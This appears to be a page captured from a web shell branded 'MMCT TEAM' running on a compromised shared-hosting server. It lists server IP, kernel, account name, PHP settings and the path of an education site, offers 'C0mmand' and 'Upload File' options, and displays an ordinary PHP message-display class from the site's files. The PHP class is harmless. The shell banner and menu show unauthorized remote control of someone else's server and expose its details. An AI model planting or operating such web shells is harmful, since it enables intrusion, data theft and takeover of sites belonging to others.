MMCT TEAM
Server IP : 192.185.129.71  /  Your IP : 3.129.244.179
Web Server : Apache
System : Linux bh-ht-3.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : svymadmin ( 4072)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home4/svymadmin/public_html/vivekaexcel.edu.in/bkp/application/services/messages/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home4/svymadmin/public_html/vivekaexcel.edu.in/bkp/application/services/messages/Message.php
<?php

namespace app\services\messages;

defined('BASEPATH') or exit('No direct script access allowed');

use app\services\messages\AbstractMessage;

class Message
{
    private $message;

    public function __construct($message)
    {
        if (is_string($message)) {
            $message = new $message;
        }

        if (!$message instanceof AbstractMessage) {
            throw new \Exception(get_class($message) . ' message must be an instance of "' . AbstractMessage::fqcn() . '"');
        }

        $this->message = $message;
    }

    public function check()
    {
        if ($this->message->isVisible()) {
            $this->show();
        }
    }

    public function show()
    {
        echo $this->message->openHtml();
        echo $this->message->getMessage();
        echo $this->message->closeHtml();
    }
}

MMCT - 2023